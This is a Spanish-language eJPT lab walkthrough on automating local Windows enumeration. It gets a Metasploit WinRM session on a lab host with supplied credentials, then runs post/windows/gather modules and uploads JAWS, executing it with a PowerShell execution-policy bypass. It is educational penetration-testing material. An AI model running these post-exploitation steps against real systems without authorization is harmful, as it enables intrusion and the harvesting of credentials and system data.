> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/post-explotacion/enumeracion-de-windows/automitacion-de-la-enumeracion-local-de-windows.md).
# Automitación de la enumeración local de Windows
## 🏎️ ¿Por qué automatizar?
* 🕒 **Eficiencia**: El tiempo en un pentest es limitado; automatizar reduce horas de comandos manuales.
* 🔍 **Cobertura**: Los scripts recopilan **más** información de la que normalmente recordaríamos buscar.
* 🎯 **Detección de vectores**: Muchos de estos scripts resaltan vulnerabilidades de **escalada de privilegios**, contraseñas en texto plano, configuraciones inseguras, etc.
***
## 🛠️ Scripts y herramientas recomendados
| 🧰 Script / Módulo | ⚡ Funcionalidad clave | 💾 Fuente |
| -------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------ |
|
JAWS (Just Another Windows (Enum) Script)
|
- Enumera info del sistema, usuarios, grupos, ACLs. - Detecta servicios inseguros, permisos débiles, contraseñas guardadas y posibles vectores de escalada.
| GitHub → |
| **WinPEAS** |
- Enumera privilegios, parches faltantes, policy misconfigs, credenciales, etc. - Versión EXE y PowerShell.
| GitHub → PowerShellMafia/PowerSploit |
| **Meterpreter post/windows/gather** | - Módulos MSF para recolectar usuarios, grupos, credenciales, parches, etc. | Metasploit Framework |
***
## 🧪 Laboratorio Práctico
**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.
**Paso 2:** Verifique si la máquina de destino es accesible:
**Dominio:**
```
ping -c 4 demo.ine.local
```
El objetivo es alcanzable.
**Paso 3:** Escaneo de puertos con Nmap
Antes de que podamos comenzar el proceso de automatización de la enumeración local en Windows, necesitaremos obtener acceso al sistema de destino.
Para empezar, necesitaremos identificar un servicio vulnerable que se esté ejecutando en el sistema de destino Windows, esto se puede hacer realizando un escaneo de detección de versión de servicio con Nmap.
**Dominio:**
```
nmap -sV -p 5985 demo.ine.local
```
Como se muestra en la siguiente captura de pantalla, el escaneo de Nmap revela que el puerto WinRM está abierto en el sistema de destino.
**Paso 4:** Obtener acceso
Podemos acceder al sistema de destino autenticándonos con el servidor WinRM en dicho sistema. Esto se puede hacer mediante un módulo de Metasploit.
Para ahorrar tiempo, se le ha proporcionado acceso a las siguientes credenciales para obtener acceso al sistema de destino (administrador/campanilla).
Para empezar, necesitaremos iniciar la consola Metasploit Framework (msfconsole) ejecutando el siguiente comando:
**Dominio:**
```
msfconsole
```
Luego podemos cargar el módulo ejecutando el siguiente comando:
**Dominio:**
```
use exploit/windows/winrm/winrm_script_exec
```
Tras cargar el módulo, debemos configurar sus opciones, concretamente la dirección de destino. Esto se puede hacer ejecutando el siguiente comando:
**Dominio:**
```
set RHOSTS demo.ine.local
```
También necesitaremos configurar el nombre de usuario y la contraseña para la autenticación. En este caso, usaremos las credenciales de administrador proporcionadas anteriormente. **Comando:**
```
set USERNAME administrator
```
**Dominio:**
```
set PASSWORD tinkerbell
```
La última opción que necesitaremos configurar es la opción **FORCE\_VBS** .
**Dominio:**
```
set FORCE_VBS false
```
Ahora podemos ejecutar el módulo ejecutando el siguiente comando:
**Dominio:**
```
run
```
Como se muestra en la siguiente captura de pantalla, la ejecución exitosa del módulo nos proporcionará una sesión de meterpreter.
Ahora hemos obtenido acceso al sistema Windows y podemos comenzar el proceso de automatización de la enumeración local en el sistema.
**Paso 5:** Automatizar la enumeración local con Metasploit
Dado que hemos obtenido una sesión de meterpreter en el sistema de destino, podemos aprovechar varios módulos de post-explotación para automatizar la enumeración de información importante.
Para empezar, necesitarás poner tu sesión actual de meterpreter en segundo plano, esto se puede hacer ejecutando el siguiente comando:
**Dominio:**
```
background
```
El primer módulo que podemos explorar es **win\_privs** , que permite automatizar la enumeración de los privilegios de usuario actuales. Podemos cargar el módulo ejecutando el siguiente comando:
**Dominio:**
```
use post/windows/gather/win_privs
```
Luego de cargar el módulo, necesitaremos configurar las opciones del módulo, en este caso la única opción que necesitamos configurar es la opción **SESIÓN** .
**Dominio:**
```
set SESSION 1
```
**Nota:** En su caso, el ID de sesión podría ser diferente. Ahora podemos ejecutar el módulo con el siguiente comando:
**Dominio:**
```
run
```
Como se muestra en la captura de pantalla anterior, este módulo enumerará los privilegios del usuario actual al que tiene acceso en el sistema de destino y le proporcionará información útil como si el usuario es administrador y si UAC está habilitado o deshabilitado.
El siguiente módulo que podemos usar es **enum\_logged\_on\_users,** que, como su nombre indica, enumera una lista de usuarios conectados, tanto actuales como anteriores. Podemos cargar el módulo ejecutando el siguiente comando:
**Dominio:**
```
use post/windows/gather/enum_logged_on_users
```
Luego de cargar el módulo, necesitaremos configurar las opciones del módulo, en este caso la única opción que necesitamos configurar es la opción **SESIÓN** .
**Dominio:**
```
set SESSION 1
```
**Nota:** En su caso, el ID de sesión podría ser diferente.
Ahora podemos ejecutar el módulo ejecutando el siguiente comando:
**Dominio:**
```
run
```
Como se muestra en la captura de pantalla anterior, este módulo enumerará una lista de usuarios conectados actuales y anteriores, así como los respectivos SID de las cuentas de usuario.
También podemos comprobar si el sistema de destino es una máquina virtual mediante un módulo llamado **checkvm** . Este módulo indicará si el sistema de destino es una máquina virtual o un contenedor. Podemos cargar el módulo ejecutando el siguiente comando:
**Dominio:**
```
use post/windows/gather/checkvm
```
Luego de cargar el módulo, necesitaremos configurar las opciones del módulo, en este caso la única opción que necesitamos configurar es la opción **SESIÓN** .
**Dominio:**
```
set SESSION 1
```
**Nota:** En su caso, el ID de sesión podría ser diferente.
Ahora podemos ejecutar el módulo ejecutando el siguiente comando:
**Dominio:**
```
run
```
Como se muestra en la captura de pantalla anterior, el módulo nos dice que el sistema de destino es una máquina virtual que se ejecuta en el hipervisor Xen.
Otro módulo importante es el módulo **enum\_applications** . Este módulo enumera una lista de aplicaciones o programas instalados en el sistema de destino. Podemos cargarlo ejecutando el siguiente comando:
**Dominio:**
```
use post/windows/gather/enum_applications
```
Luego de cargar el módulo, necesitaremos configurar las opciones del módulo, en este caso la única opción que necesitamos configurar es la opción **SESIÓN** .
**Dominio:**
```
set SESSION 1
```
**Nota:** En su caso, el ID de sesión podría ser diferente. Ahora podemos ejecutar el módulo con el siguiente comando:
**Dominio:**
```
run
```
Como se muestra en la captura de pantalla anterior, el módulo enumera una lista de aplicaciones instaladas. Esta información es muy útil, ya que permite buscar vulnerabilidades en los programas instalados que puedan aprovecharse para aumentar sus privilegios o revelar información importante. También le da una idea del uso que se le da a este sistema.
Podemos utilizar el módulo **enum\_computers** para enumerar una lista de computadoras conectadas a la misma LAN de la que forma parte el objetivo. Podemos cargar el módulo ejecutando el siguiente comando:
**Dominio:**
```
use post/windows/gather/enum_computers
```
Luego de cargar el módulo, necesitaremos configurar las opciones del módulo, en este caso la única opción que necesitamos configurar es la opción **SESIÓN** .
**Dominio:**
```
set SESSION 1
```
**Nota:** En su caso, el ID de sesión podría ser diferente.
Ahora podemos ejecutar el módulo ejecutando el siguiente comando:
**Dominio:**
```
run
```
Como se muestra en la captura de pantalla anterior, el módulo revela que el sistema de destino no es parte de un dominio de Windows.
También podemos enumerar una lista de actualizaciones y parches instalados mediante el módulo enum\_patches. Podemos cargar el módulo ejecutando el siguiente comando:
**Dominio:**
```
use post/windows/gather/enum_patches
```
Luego de cargar el módulo, necesitaremos configurar las opciones del módulo, en este caso la única opción que necesitamos configurar es la opción **SESIÓN** .
**Dominio:**
```
set SESSION 1
```
**Nota:** En su caso, el ID de sesión podría ser diferente.
Ahora podemos ejecutar el módulo ejecutando el siguiente comando:
**Dominio:**
```
run
```
Como se muestra en la captura de pantalla anterior, el módulo enumera una lista de parches y actualizaciones instalados con sus respectivos HotFixID y cuándo se instalaron.
**Paso 6:** Automatizar la enumeración local con JAWS
Ahora que hemos explorado cómo usar los módulos de Metasploit para automatizar la enumeración local en un objetivo de Windows, podemos comenzar a explorar cómo usar JAWS (Just Another Windows Enum Script).
**JAWS** es un script de PowerShell de código abierto diseñado para ayudar a los evaluadores de penetración a automatizar la enumeración local e identificar vectores de escalada de privilegios en sistemas Windows.
Para usar este script, deberá copiarlo en su entorno de laboratorio. Para empezar, puede acceder al script a través del siguiente repositorio de GitHub: ****
En el repositorio de GitHub, navegue hasta el script jaws-enum.ps1 como se muestra en la siguiente captura de pantalla.
Luego necesitarás ver el script en formato sin procesar, esto se puede hacer haciendo clic en el botón sin procesar como se muestra en la siguiente captura de pantalla.
Ahora necesitarás copiar el contenido del script en formato sin procesar y pegarlo en el portapapeles del entorno de laboratorio.
Una vez que hayas copiado el script del repositorio de GitHub, regresa al sistema Kali Linux en tu entorno de laboratorio y crea un nuevo archivo con un editor de texto como Mousepad.
Luego pegue el script que copió en el archivo y luego guarde el archivo como jaws-enum.ps1 como se muestra en las siguientes capturas de pantalla.
Ahora podemos regresar a nuestra sesión de meterpreter y navegar a la unidad C:\ ejecutando el siguiente comando:
**Dominio:**
```
cd C:\\
```
Luego necesitaremos crear el directorio **temporal** ejecutando el siguiente comando:
**Dominio:**
```
mkdir temp
```
**Dominio:**
```
cd temp
```
Ahora podemos cargar el script **jaws-enum.ps1** que copiamos del repositorio de GitHub ejecutando el siguiente comando:
**Dominio:**
```
upload /root/Desktop/jaws-enum.ps1
```
Después de cargar el script exitosamente, necesitaremos generar una sesión de shell de comandos, esto se puede hacer ejecutando el siguiente comando:
**Dominio:**
```
shell
```
Ahora podemos ejecutar el script **jaws-enum.ps1** ejecutando el siguiente comando:
**Dominio:**
```
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
```
Como se muestra en la captura de pantalla anterior, el script jaws-enum.ps1 se ejecutará y guardará los resultados en un archivo llamado **JAWS-Enum.txt** .
**Nota:** JAWS tardará un par de minutos en completar el proceso de enumeración, por lo que no se alarme si parece que el script se ha pausado o ha dejado de ejecutarse.
Una vez realizado el script jaws-enum.ps1, podemos descargar el archivo de salida para su análisis, esto se puede hacer ejecutando el siguiente comando:
**Dominio:**
```
download JAWS-Enum.txt
```
Ahora que hemos descargado la salida generada por el script jaws-enum.ps1, podemos abrir el archivo de salida en nuestro sistema Kali navegando a **/root/** y abriendo el archivo **JAWS-Enum.txt** con el mousepad como se muestra en la siguiente captura de pantalla.
Como se muestra en la captura de pantalla anterior, el archivo de salida generado por jaws-enum.ps1 contiene toda la información relevante sobre el sistema de destino que de otro modo habríamos tenido que enumerar manualmente.
Tómese unos minutos para revisar el archivo de salida y analizar qué información pudo enumerar JAWS además de cualquier información potencialmente interesante que no pudimos enumerar manualmente o con los módulos de Metasploit.
#### Conclusión
En este laboratorio, exploramos el proceso de automatización de la enumeración local en un sistema Windows aprovechando varios módulos de posexplotación de Metasploit y un script de enumeración de PowerShell de código abierto llamado JAWS